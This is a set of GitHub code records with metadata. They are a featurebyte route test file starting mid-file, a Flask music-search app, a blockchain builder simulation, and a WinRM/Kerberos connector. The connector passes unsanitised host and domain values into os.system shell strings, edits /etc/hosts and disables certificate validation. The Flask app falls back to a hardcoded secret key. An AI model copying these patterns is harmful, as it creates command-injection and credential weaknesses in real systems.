\"update_unprocessable_payload_expected_detail\" in metafunc.fixturenames:\n            metafunc.parametrize(\n                \"update_unprocessable_payload_expected_detail\",\n                self.update_unprocessable_payload_expected_detail_pairs,\n            )\n\n    def setup_creation_route(self, api_client):\n        \"\"\"Setup for post route\"\"\"\n        api_object_filename_pairs = [\n            (\"entity\", \"entity\"),\n            (\"item_table\", \"item_table\"),\n            (\"event_table\", \"event_table\"),\n        ]\n        for api_object, filename in api_object_filename_pairs:\n            payload = self.load_payload(f\"tests/fixtures/request_payloads/{filename}.json\")\n            response = api_client.post(f\"/{api_object}\", json=payload)\n            assert response.status_code == HTTPStatus.CREATED, response.json()\n\n    def multiple_success_payload_generator(self, api_client):\n        \"\"\"Payload generator to create multiple success response\"\"\"\n        for i in range(3):\n            payload = self.payload.copy()\n            payload[\"_id\"] = str(ObjectId())\n            payload[\"name\"] = f\"{payload['name']}_{i}\"\n            yield payload\n\n    @pytest.fixture(name=\"input_event_table_node\")\n    def input_event_table_node_fixture(self):\n        \"\"\"Input event_table node of a graph\"\"\"\n        event_table_payload = self.load_payload(\"tests/fixtures/request_payloads/event_table.json\")\n        return {\n            \"name\": \"input_1\",\n            \"type\": \"input\",\n            \"output_type\": \"frame\",\n            \"parameters\": {\n                \"columns\": [\n                    {\"dtype\": \"INT\", \"name\": \"col_int\"},\n                    {\"dtype\": \"FLOAT\", \"name\": \"col_float\"},\n                    {\"dtype\": \"CHAR\", \"name\": \"col_char\"},\n                    {\"dtype\": \"VARCHAR\", \"name\": \"col_text\"},\n                    {\"dtype\": \"BINARY\", \"name\": \"col_binary\"},\n                    {\"dtype\": \"BOOL\", \"name\": \"col_boolean\"},\n                    {\"dtype\": \"TIMESTAMP\", \"name\": \"event_timestamp\"},\n                    {\"dtype\": \"TIMESTAMP\", \"name\": \"created_at\"},\n                    {\"dtype\": \"INT\", \"name\": \"cust_id\"},\n                ],\n                \"feature_store_details\": {\n                    \"details\": {\n                        \"account\": \"sf_account\",\n                        \"database\": \"sf_database\",\n                        \"sf_schema\": \"sf_schema\",\n                        \"warehouse\": \"sf_warehouse\",\n                    },\n                    \"type\": \"snowflake\",\n                },\n                \"id\": event_table_payload[\"_id\"],\n                \"id_column\": \"col_int\",\n                \"table_details\": {\n                    \"database_name\": \"sf_database\",\n                    \"schema_name\": \"sf_schema\",\n                    \"table_name\": \"sf_table\",\n                },\n                \"timestamp_column\": \"event_timestamp\",\n                \"type\": \"event_table\",\n                \"event_timestamp_timezone_offset\": None,\n                \"event_timestamp_timezone_offset_column\": None,\n            },\n        }\n\n    def test_update_200(\n        self,\n        create_success_response,\n        test_api_client_persistent,\n        input_event_table_node,\n    ):\n        \"\"\"\n        Test context update (success)\n        \"\"\"\n        test_api_client, _ = test_api_client_persistent\n        response_dict = create_success_response.json()\n        context_id = response_dict[\"_id\"]\n        graph = {\"nodes\": [input_event_table_node], \"edges\": []}\n        payload = {\"graph\": graph, \"node_name\": input_event_table_node[\"name\"]}\n        response = test_api_client.patch(f\"{self.base_route}/{context_id}\", json=payload)\n        response_dict = response.json()\n        assert response.status_code == HTTPStatus.OK\n        assert response_dict[\"graph\"] == graph\n\n    def test_update_404(self, test_api_client_persistent):\n        \"\"\"\n        Test context update (not found)\n        \"\"\"\n        test_api_client, _ = test_api_client_persistent\n        unknown_context_id = ObjectId()\n        response = test_api_client.patch(\n            f\"{self.base_route}/{unknown_context_id}\", json={\"name\": \"random_name\"}\n        )\n        assert response.status_code == HTTPStatus.NOT_FOUND\n        assert response.json() == {\n            \"detail\": (\n                f'Context (id: \"{unknown_context_id}\") not found. Please save the Context object first.'\n            )\n        }\n\n    def test_update_422(\n        self,\n        create_success_response,\n        test_api_client_persistent,\n        update_unprocessable_payload_expected_detail,\n    ):\n        \"\"\"\n        Test context update (unprocessable)\n        \"\"\"\n        test_api_client, _ = test_api_client_persistent\n        response_dict = create_success_response.json()\n        context_id = response_dict[\"_id\"]\n        unprocessible_payload, expected_message = update_unprocessable_payload_expected_detail\n        response = test_api_client.patch(\n            f\"{self.base_route}/{context_id}\", json=unprocessible_payload\n        )\n        assert response.status_code == HTTPStatus.UNPROCESSABLE_ENTITY\n        assert response.json()[\"detail\"] == expected_message\n\n    def test_create_context__not_all_primary_entity_ids(\n        self,\n        create_success_response,\n        test_api_client_persistent,\n    ):\n        \"\"\"\n        Test context update (unprocessable)\n        \"\"\"\n        test_api_client, _ = test_api_client_persistent\n        _ = create_success_response.json()\n\n        payload = self.payload.copy()\n        payload[\"_id\"] = str(ObjectId())\n        payload[\"name\"] = f\"{payload['name']}_1\"\n\n        with mock.patch(\n            \"featurebyte.routes.common.base.DerivePrimaryEntityHelper.derive_primary_entity_ids\"\n        ) as mock_derive:\n            mock_derive.return_value = [ObjectId()]\n            response = test_api_client.post(f\"{self.base_route}\", json=payload)\n            assert response.status_code == HTTPStatus.UNPROCESSABLE_ENTITY, response.json()\n            assert (\n                f\"Context entity ids must all be primary entity ids: {payload['primary_entity_ids']}\"\n                in response.json()[\"detail\"]\n            )\n\n    def test_create_context__entity_parent_id_in_the_list(\n        self,\n        create_success_response,\n        test_api_client_persistent,\n    ):\n        \"\"\"\n        Test context update (unprocessable)\n        \"\"\"\n        test_api_client, _ = test_api_client_persistent\n        _ = create_success_response.json()\n        entity_payload = self.load_payload(\"tests/fixtures/request_payloads/entity.json\")\n        entity_payload[\"serving_names\"] = [entity_payload[\"serving_name\"]]\n\n        payload = self.payload.copy()\n        payload[\"_id\"] = str(ObjectId())\n        payload[\"name\"] = f\"{payload['name']}_1\"\n\n        with mock.patch(\"featurebyte.service.entity.EntityService.get_document\") as mock_get_doc:\n            mock_get_doc.return_value = EntityModel(\n                **entity_payload,\n                parents=[\n                    ParentEntity(\n                        id=ObjectId(entity_payload[\"_id\"]),\n                        table_type=\"event_table\",\n                        table_id=ObjectId(),\n                    )\n                ],\n            )\n            response = test_api_client.post(f\"{self.base_route}\", json=payload)\n            assert response.status_code == HTTPStatus.UNPROCESSABLE_ENTITY, response.json()\n            assert (\n                \"Context entity ids must not include any parent entity ids\"\n                in response.json()[\"detail\"]\n            )\n", "repo_name": "featurebyte/featurebyte", "sub_path": "tests/unit/routes/test_context.py", "file_name": "test_context.py", "file_ext": "py", "file_size_in_byte": 9882, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 49, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tests.unit.routes.base.BaseCatalogApiTestSuite", "line_number": 15, "usage_type": "name"}, {"api_name": "tests.unit.routes.base.BaseCatalogApiTestSuite.load_payload", "line_number": 22, "usage_type": "call"}, {"api_name": "tests.unit.routes.base.BaseCatalogApiTestSuite", "line_number": 22, "usage_type": "name"}, {"api_name": "bson.objectid.ObjectId", "line_number": 23, "usage_type": "call"}, {"api_name": "http.HTTPStatus.CREATED", "line_number": 95, "usage_type": "attribute"}, {"api_name": "http.HTTPStatus", "line_number": 95, "usage_type": "name"}, {"api_name": "bson.objectid.ObjectId", "line_number": 101, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 105, "usage_type": "call"}, {"api_name": "http.HTTPStatus.OK", "line_number": 164, "usage_type": "attribute"}, {"api_name": "http.HTTPStatus", "line_number": 164, "usage_type": "name"}, {"api_name": "bson.objectid.ObjectId", "line_number": 172, "usage_type": "call"}, {"api_name": "http.HTTPStatus.NOT_FOUND", "line_number": 176, "usage_type": "attribute"}, {"api_name": "http.HTTPStatus", "line_number": 176, "usage_type": "name"}, {"api_name": "http.HTTPStatus.UNPROCESSABLE_ENTITY", "line_number": 199, "usage_type": "attribute"}, {"api_name": "http.HTTPStatus", "line_number": 199, "usage_type": "name"}, {"api_name": "bson.objectid.ObjectId", "line_number": 214, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 217, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 217, "usage_type": "name"}, {"api_name": "bson.objectid.ObjectId", "line_number": 220, "usage_type": "call"}, {"api_name": "http.HTTPStatus.UNPROCESSABLE_ENTITY", "line_number": 222, "usage_type": "attribute"}, {"api_name": "http.HTTPStatus", "line_number": 222, "usage_type": "name"}, {"api_name": "bson.objectid.ObjectId", "line_number": 242, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 245, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 245, "usage_type": "name"}, {"api_name": "featurebyte.models.EntityModel", "line_number": 246, "usage_type": "call"}, {"api_name": "featurebyte.models.entity.ParentEntity", "line_number": 249, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 250, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 252, "usage_type": "call"}, {"api_name": "http.HTTPStatus.UNPROCESSABLE_ENTITY", "line_number": 257, "usage_type": "attribute"}, {"api_name": "http.HTTPStatus", "line_number": 257, "usage_type": "name"}]}
{"seq_id": "6700221697", "text": "from flask import Flask, render_template, flash, redirect, request, session, g\nfrom flask_debugtoolbar import DebugToolbarExtension\nfrom routes.user import user_bp\nfrom routes.playlists import playlist_bp\nfrom routes.songs import songs_bp\nfrom routes.albums import albums_bp\n\nfrom helper_functions import (\n    get_token,\n    generic_search,\n)\n\nfrom models import  connect_db, User\n\nimport os\n\nCURR_USER_KEY = \"curr_user\"\n\napp = Flask(__name__)\n\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = os.environ.get(\n    \"DATABASE_URL\", \"postgresql:///maestro\"\n)\n\napp.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\napp.config[\"SQLALCHEMY_ECHO\"] = False\napp.config[\"SECRET_KEY\"] = os.environ.get(\"SECRET_KEY\", \"maestro2468\")\napp.config[\"DEBUG_TB_INTERCEPT_REDIRECTS\"] = False\n\ndebug = DebugToolbarExtension(app)\n\nconnect_db(app)\n\n# User routes\n@app.before_request\ndef add_user_to_g():\n    \"\"\"If we're logged in, add curr user to Flask global.\"\"\"\n    if CURR_USER_KEY in session:\n        g.user = User.query.get(session[CURR_USER_KEY])\n    else:\n        g.user = None\n\ndef do_login(user):\n    \"\"\"Log in user.\"\"\"\n    session[CURR_USER_KEY] = user.id\n\ndef do_logout():\n    \"\"\"Logout user.\"\"\"\n    if CURR_USER_KEY in session:\n        del session[CURR_USER_KEY]\n\n@app.route(\"/\")\ndef homepage():\n    \"\"\"Show homepage.\"\"\"\n    if g.user:\n        return redirect(f\"/user\")\n    else:\n        return render_template(\"base.html\")\n\n@app.route(\"/search\", methods=[\"GET\", \"POST\"])\ndef search():\n    \"\"\"Search for songs on Spotify.\"\"\"\n    if not g.user:\n        flash(\"Access unauthorized.\", \"danger\")\n        return redirect(\"/\")\n    \n    user = User.query.get_or_404(g.user.id)\n\n    if request.method == \"GET\":\n        try:\n            search_type = request.args.get(\"search_type\")\n            search_term = request.args.get(\"search_term\")\n            if search_term and search_type:\n                token = get_token()\n                result = generic_search(search_type, search_term, token)\n                return render_template(\n                    \"/music/search_results.html\",\n                    result=result,\n                    user=user,\n                    search_term=search_term,\n                )\n            else:\n                return render_template(\"/music/search.html\", user=user)\n        except:\n            flash(\"Something went wrong. Please try again.\", \"danger\")\n            return redirect(\"/\")\n    else:\n        return render_template(\"/music/search.html\", user=user)\n\n\napp.register_blueprint(user_bp, url_prefix='/user')\napp.register_blueprint(songs_bp, url_prefix='/songs')\napp.register_blueprint(albums_bp, url_prefix='/albums')\napp.register_blueprint(playlist_bp, url_prefix='/playlists')\n\n\n@app.after_request\ndef add_header(req):\n    \"\"\"Add non-caching headers on every request.\"\"\"\n    req.headers[\"Cache-Control\"] = \"no-cache, no-store, must-revalidate\"\n    req.headers[\"Pragma\"] = \"no-cache\"\n    req.headers[\"Expires\"] = \"0\"\n    req.headers[\"Cache-Control\"] = \"public, max-age=0\"\n    return req\n", "repo_name": "stevieScript/Capstone_1", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 3002, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "flask.Flask", "line_number": 19, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 21, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 27, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 27, "usage_type": "attribute"}, {"api_name": "flask_debugtoolbar.DebugToolbarExtension", "line_number": 30, "usage_type": "call"}, {"api_name": "models.connect_db", "line_number": 32, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 38, "usage_type": "name"}, {"api_name": "flask.g.user", "line_number": 39, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 39, "usage_type": "name"}, {"api_name": "models.User.query.get", "line_number": 39, "usage_type": "call"}, {"api_name": "models.User.query", "line_number": 39, "usage_type": "attribute"}, {"api_name": "models.User", "line_number": 39, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 39, "usage_type": "name"}, {"api_name": "flask.g.user", "line_number": 41, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 41, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 45, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 49, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 50, "usage_type": "name"}, {"api_name": "flask.g.user", "line_number": 55, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 55, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 56, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 58, "usage_type": "call"}, {"api_name": "flask.g.user", "line_number": 63, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 63, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 64, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 65, "usage_type": "call"}, {"api_name": "models.User.query.get_or_404", "line_number": 67, "usage_type": "call"}, {"api_name": "models.User.query", "line_number": 67, "usage_type": "attribute"}, {"api_name": "models.User", "line_number": 67, "usage_type": "name"}, {"api_name": "flask.g.user", "line_number": 67, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 67, "usage_type": "name"}, {"api_name": "flask.request.method", "line_number": 69, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 69, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 71, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 71, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 71, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 72, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 72, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 72, "usage_type": "name"}, {"api_name": "helper_functions.get_token", "line_number": 74, "usage_type": "call"}, {"api_name": "helper_functions.generic_search", "line_number": 75, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 76, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 83, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 85, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 86, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 88, "usage_type": "call"}, {"api_name": "routes.user.user_bp", "line_number": 91, "usage_type": "argument"}, {"api_name": "routes.songs.songs_bp", "line_number": 92, "usage_type": "argument"}, {"api_name": "routes.albums.albums_bp", "line_number": 93, "usage_type": "argument"}, {"api_name": "routes.playlists.playlist_bp", "line_number": 94, "usage_type": "argument"}]}
{"seq_id": "32021310171", "text": "# pylint: disable=missing-module-docstring,missing-class-docstring,missing-function-docstring, too-many-instance-attributes, too-many-arguments,too-few-public-methods\nimport uuid\nfrom datetime import datetime\nimport random\nimport numpy as np\n\nfrom blockchain_env.constants import BASE_FEE, GAS_LIMIT\nfrom blockchain_env.account import Account\nfrom blockchain_env.transaction import Transaction\n\n\nclass Mempool:\n    def __init__(self, address: str) -> None:\n        self.transactions = []\n        # here, the address is the address of the builder\n        self.address = address\n\n    def add_transaction(self, transaction: Transaction, enter_time) -> None:\n        self.transactions.append(transaction)\n        transaction.enter_mempool(builder_address = self.address, enter_timestamp = enter_time)\n\n    def remove_transaction(self, transaction) -> None:\n        if transaction in self.transactions:\n            self.transactions.remove(transaction)\n\nclass Builder(Account):\n    def __init__(self,\n                address,\n                balance: float,\n                # builder_strategy: str = \"mev\",\n                builder_strategy: None = None,\n                discount: float | None = None,\n                private: bool = False,\n                credit: float = 0.0,\n                inclusion_rate: float = 0.0\n    ):\n        super().__init__(address, balance)\n        # assert builder_strategy in BUILDER_STRATEGY_LIST, f\"The builder_strategy must\n        # be one of {BUILDER_STRATEGY_LIST}.\"\n        self.builder_strategy = builder_strategy\n        self.discount = discount if discount is not None else np.random.random()\n        self.mempool = Mempool(self.address)\n        self.private = private\n        self.credit = credit\n        self.inclusion_rate = inclusion_rate\n        self.notebook = {}\n        self.mev_profits = 0\n\n\n    # def update_notebook(self, transaction):\n    #     self.notebook[transaction.sender] = self.notebook.get(transaction.sender,\n    # self.get_balance(transaction.sender)) - (transaction.amount + transaction.fee)\n    #     self.notebook[transaction.recipient] = self.notebook.get(transaction.recipient,\n    # self.get_balance(transaction.recipient)) + transaction.amount\n\n    # def revert_notebook(self, transaction):\n    #     self.notebook[transaction.sender] += (transaction.amount + transaction.fee)\n    #     self.notebook[transaction.recipient] -= transaction.amount\n    #     pass\n\n    # def get_balance(self, address, chain):\n    #     for account in chain.normal_users + chain.proposers + chain.builders:\n    #         if account.address == address:\n    #             return account.balance\n    #     raise ValueError(f\"No account found for address {address}\")\n\n    def inclusion_count(self):\n        self.inclusion_rate += 1\n\n    def select_transactions(self):\n        selected_transactions = []  # Initialize an empty list for selected transactions\n        remaining_gas = GAS_LIMIT\n        self.mev_profits = 0\n\n        if self.builder_strategy == \"greedy\":\n            sorted_transactions = sorted(self.mempool.transactions,\n                                         key=lambda x: x.priority_fee, reverse=True)\n        elif self.builder_strategy == \"mev\":\n            sorted_transactions = sorted(self.mempool.transactions,\n                                         key=lambda x: x.priority_fee, reverse=True)\n            num_to_sample = min(len(sorted_transactions), 10)\n            mev_target = random.sample(sorted_transactions, num_to_sample)\n        elif self.builder_strategy == \"random\":\n            random.shuffle(self.mempool.transactions)\n            sorted_transactions = self.mempool.transactions\n        elif self.builder_strategy == \"FCFS\":\n            sorted_transactions = sorted(self.mempool.transactions, key=lambda x: x.timestamp)\n        else:\n            raise ValueError(\"Invalid builder_strategy\")\n\n        # Iterate through sorted transactions and add them to the list until gas limit is reached\n        for transaction in sorted_transactions:\n            transaction_gas = transaction.gas\n            if remaining_gas >= transaction_gas:\n                # self.update_notebook(transaction)\n                # if self.notebook.get(transaction.sender) < 0 or\n                # self.notebook.get(transaction.recipient) < 0:\n                #     self.revert_notebook(transaction)\n                # else:\n                selected_transactions.append(transaction)\n                remaining_gas -= transaction_gas\n                if self.builder_strategy == \"mev\" and transaction in mev_target:\n                    mev_deduction = random.uniform(0.1, 0.3) * transaction.amount\n                    transaction.amount -= mev_deduction\n                    self.mev_profits += mev_deduction\n            else:\n                break\n        return selected_transactions\n\n    # Method to validate transactions\n    # Input: transactions,balance\n    # Output: True/False\n    # Steps: if balance is less than amount in the transaction, return False\n    #        if balance is greater than amount in the transaction, return True\n    def validate_transactions(self, transactions, balance):\n        for transaction in transactions:\n            if balance < transaction.amount:\n                return False\n            return True\n\n    # Method to add bid for the transactions\n    # Input: selected_transactions, proposer_address, self.address\n    # Output: bid_transaction\n    # Steps: 10% of the transaction fee is put for bid\n\n    def bid(self, proposer_address, block_data):\n        # Check if block_data DataFrame is empty\n        if block_data.empty:\n            historical_average = 1\n        else:\n            # Extract historical bids from block_data DataFrame\n            historical_bids = block_data['Bid Amount']\n            historical_average = historical_bids.mean()\n\n        # Calculate bid based on historical average and discount factor\n        bid_increase_factor = self.discount\n        bid_amount = max(historical_average * (0.5 + bid_increase_factor), 1)\n\n        # Adjust bid based on transaction fees in the mempool\n        transaction_fees = sum(t.fee for t in self.mempool.transactions)\n        if transaction_fees > historical_average:\n            bid_amount += 0.1*(transaction_fees - historical_average)\n        if transaction_fees < historical_average:\n            bid_amount -= 0.1*(historical_average - transaction_fees)\n\n        # Create and return the bid transaction\n        bid_transaction = Transaction(\n            transaction_id=str(uuid.uuid4()),\n            timestamp=int(datetime.now().timestamp()),\n            sender=proposer_address,\n            recipient=self.address,\n            gas=1,\n            amount=bid_amount,\n            base_fee=BASE_FEE,\n            priority_fee=0\n        )\n        return bid_transaction\n    def update(self, selected, used_mev):\n        if selected:\n            self.inclusion_rate = min(self.inclusion_rate + 0.1, 1.0)\n            self.credit = max(self.credit + 0.1, 0.0)\n        if used_mev:\n            self.credit = max(self.credit - 0.2, 0.0)\n\n\nif __name__ == \"__main__\":\n    # selected_transactions.append(bid_transaction)\n    pass\n", "repo_name": "xujiahuayz/mev-resist-consensus", "sub_path": "blockchain_env/builder.py", "file_name": "builder.py", "file_ext": "py", "file_size_in_byte": 7170, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "blockchain_env.transaction.Transaction", "line_number": 18, "usage_type": "name"}, {"api_name": "blockchain_env.account.Account", "line_number": 26, "usage_type": "name"}, {"api_name": "numpy.random.random", "line_number": 41, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 41, "usage_type": "attribute"}, {"api_name": "blockchain_env.constants.GAS_LIMIT", "line_number": 72, "usage_type": "name"}, {"api_name": "random.sample", "line_number": 82, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 84, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 103, "usage_type": "call"}, {"api_name": "blockchain_env.transaction.Transaction", "line_number": 147, "usage_type": "call"}, {"api_name": "uuid.uuid4", "line_number": 148, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 149, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 149, "usage_type": "name"}, {"api_name": "blockchain_env.constants.BASE_FEE", "line_number": 154, "usage_type": "name"}]}
{"seq_id": "43433648645", "text": "import os\nimport random\nimport socket\nimport subprocess\nimport time\nfrom secrets import token_hex\n\nimport smbclient\nfrom winrm.protocol import Protocol\n\nHOSTS_FILE = \"/etc/hosts\"\nKINIT_PATH = \"/usr/bin/kinit\"\n\n\nclass WinRMConnector:\n    username = None\n    password = None\n    hostname = None\n    connection = None\n    fqdn = None\n    domain = None\n    path = None\n    shell = None\n    shell_id = None\n    token = None\n    smb = None\n    letter = None\n    custom_ip = None\n    heartbeat = None\n\n    def __init__(self, port=5986, secure=True, domain=None, fqdn=None,custom_ip=None):\n        self.port = port\n        self.secure = secure\n        self.domain = domain\n        self.fqdn = fqdn\n        self.custom_ip = custom_ip\n\n    def set_credentials(self, username, password, hostname):\n        self.username = username\n        self.password = password\n        self.hostname = hostname\n\n    def init(self):\n        self.keep_yourself_alive()\n\n        # Bind LDAP Anonymously to retrieve FQDN and domain name.\n        if self.domain is None or self.fqdn is None:\n            self.domain, self.fqdn = self.get_domain_info()\n\n        # Check If Bind Failed.\n        if self.domain is False or self.fqdn is False:\n            return {\"error\": \"Couldn't access to ldap\"}, 408\n\n        # Setup DNS\n        self.add_dns()\n\n        # Retrieve Kerberos Key from user.\n        result, self.path = self.kinit()\n\n        # Break If Kerberos Failed.\n        if result is False:\n            return {\"error\": self.path}, 403\n\n        # Initialize WinRM\n        self.winrm_init()\n\n        # Generate Random Token\n        self.token = token_hex(16)\n\n    def get_token(self):\n        return self.token\n\n    def get_domain_info(self):\n        data = subprocess.getoutput('samba-tool domain info ' + self.hostname + ' | grep \"Domain\\|DC name\"')\n        arr = {}\n        for row in data.split('\\n'):\n            first, second = row.split(':')\n            arr[first.strip()] = second.strip()\n        return arr[\"Domain\"], arr[\"DC name\"]\n\n    def __del__(self):\n        self.shell.close_shell(self.shell_id)\n\n    def setup_kerberos(self,path):\n\n        f = open(path, \"a\")\n        config_string = \"\"\"\n[libdefaults]\n    dns_lookup_realm = false\n    dns_lookup_kdc = false\n[realms]\n %s = { \n kdc = %s \n admin_server = %s \n}\n\n[domain_realm]\n        \n.%s = %s\n%s = %s\n\"\"\" % (self.domain.upper(), self.fqdn.upper(), self.fqdn.upper() , self.domain.lower() , self.domain.upper() , self.domain.lower() , self.domain.upper())\n        f.write(config_string)\n        f.close()\n\n    def kinit(self):\n        # Generate random key id for path.\n        key_id = random.randint(1000, 9999)\n\n        # Prepare Path\n        path = '/tmp/krb5cc_%s' % key_id\n\n        # Set OS Environment to use multiple keys.\n        os.environ[\"KRB5CCNAME\"] = path\n\n        # Prepare Config Path\n        config_path = '/tmp/krb5_%s.conf' % key_id\n\n        # Create krb5.conf file.\n        self.setup_kerberos(config_path)\n\n        # Set OS Environment to use multiple keys.\n        os.environ[\"KRB5_CONFIG\"] = config_path\n\n        # Execute kinit with given values.\n        cmd = [KINIT_PATH, '%s@%s' % (self.username, self.domain.upper())]\n        result = subprocess.run(cmd, input=self.password.encode(), capture_output=True)\n\n        # Delete Password\n        self.password = None\n\n        # Set Up kvno for samba share\n        os.system(\"kvno cifs/\" + self.fqdn.upper() + \"@\" + self.domain.upper())\n\n        # Set Up kvno for hosts.\n        os.system(\"kvno host/\" + self.fqdn.upper() + \"@\" + self.domain.upper())\n\n        if result.stderr:\n            return False, result.stderr.decode(\"UTF-8\")\n        return True, path\n\n    def add_dns(self):\n        if self.custom_ip is None:\n            # Get ip from hostname.\n            hostname = socket.gethostbyname(self.hostname)\n        else:\n            hostname = self.custom_ip\n\n        # Delete Existing Ones if any.\n        os.system(\"sed -i '/.*%s/d' %s\" % (self.fqdn.upper(), HOSTS_FILE))\n\n        # Append New Values Into the file\n        os.system(\"echo '\" + hostname + \"     \" + self.fqdn.upper() + \" \"\n                  + self.domain + \"' | tee -a %s\" % HOSTS_FILE)\n\n    def winrm_init(self):\n        url = self.hostname + \":\" + str(self.port) + \"/wsman\"\n        endpoint = \"https://\" + url if str(self.port) == \"5986\" else \"https://\" + url\n        os.environ[\"KRB5CCNAME\"] = self.path\n        override = None\n        if self.custom_ip is not None:\n            override = self.custom_ip\n\n        #domain_addr = self.domain if self.custom_ip is None else self.custom_ip\n        p = Protocol(\n            endpoint=endpoint,\n            transport='kerberos',\n            username=self.username + '@' + self.domain.upper(),\n            server_cert_validation='ignore',\n            kerberos_delegation=True,\n            kerberos_hostname_override = override\n        )\n\n        self.shell_id = p.open_shell()\n        self.shell = p\n\n    def execute(self, command):\n        self.keep_yourself_alive()\n        command_id = self.shell.run_command(self.shell_id, command)\n        std_out, std_err, _ = self.shell.get_command_output(self.shell_id, command_id)\n        return std_out.decode(\"utf-8\") + std_err.decode(\"utf-8\")\n\n    def send_file(self, local_path, remote_path):\n        self.keep_yourself_alive()\n        smb = self.get_smb_connection()\n        smb.upload(local_path, remote_path)\n        return True\n\n    def get_file(self, local_path, remote_path):\n        self.keep_yourself_alive()\n        smb = self.get_smb_connection()\n        smb.download(remote_path, local_path)\n        return True\n\n    def get_letter(self):\n        if self.letter is not None:\n            return self.letter\n        self.letter = self.execute(\"powershell.exe $pwd.drive.name\")[:-2]\n        return self.letter\n\n    def get_smb_connection(self):\n        if self.smb is None:\n            self.connect_smb()\n        return self.smb\n\n    def connect_smb(self):\n        os.environ[\"KRB5CCNAME\"] = self.path\n        share = self.get_letter() + \"$\"\n        self.smb = smbclient.SambaClient(server=self.fqdn.upper(), share=share, kerberos=True, domain=self.domain)\n\n    def get_path(self):\n        return self.path\n\n    def keep_yourself_alive(self):\n        self.heartbeat = time.time()\n\n    def keep_alive(self):\n        if time.time() - self.heartbeat > 300:\n            return False\n        else:\n            return True\n\n    def close(self):\n        print(\"CLOSING \" + self.username + \"@\" + self.hostname)\n        self.shell.close_shell(self.shell_id)\n", "repo_name": "limanmys/connector", "sub_path": "WinRM.py", "file_name": "WinRM.py", "file_ext": "py", "file_size_in_byte": 6537, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "78", "api": [{"api_name": "secrets.token_hex", "line_number": 68, "usage_type": "call"}, {"api_name": "subprocess.getoutput", "line_number": 74, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 107, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 113, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 122, "usage_type": "attribute"}, {"api_name": "subprocess.run", "line_number": 126, "usage_type": "call"}, {"api_name": "os.system", "line_number": 132, "usage_type": "call"}, {"api_name": "os.system", "line_number": 135, "usage_type": "call"}, {"api_name": "socket.gethostbyname", "line_number": 144, "usage_type": "call"}, {"api_name": "os.system", "line_number": 149, "usage_type": "call"}, {"api_name": "os.system", "line_number": 152, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 158, "usage_type": "attribute"}, {"api_name": "winrm.protocol.Protocol", "line_number": 164, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 206, "usage_type": "attribute"}, {"api_name": "smbclient.SambaClient", "line_number": 208, "usage_type": "call"}, {"api_name": "time.time", "line_number": 214, "usage_type": "call"}, {"api_name": "time.time", "line_number": 217, "usage_type": "call"}]}
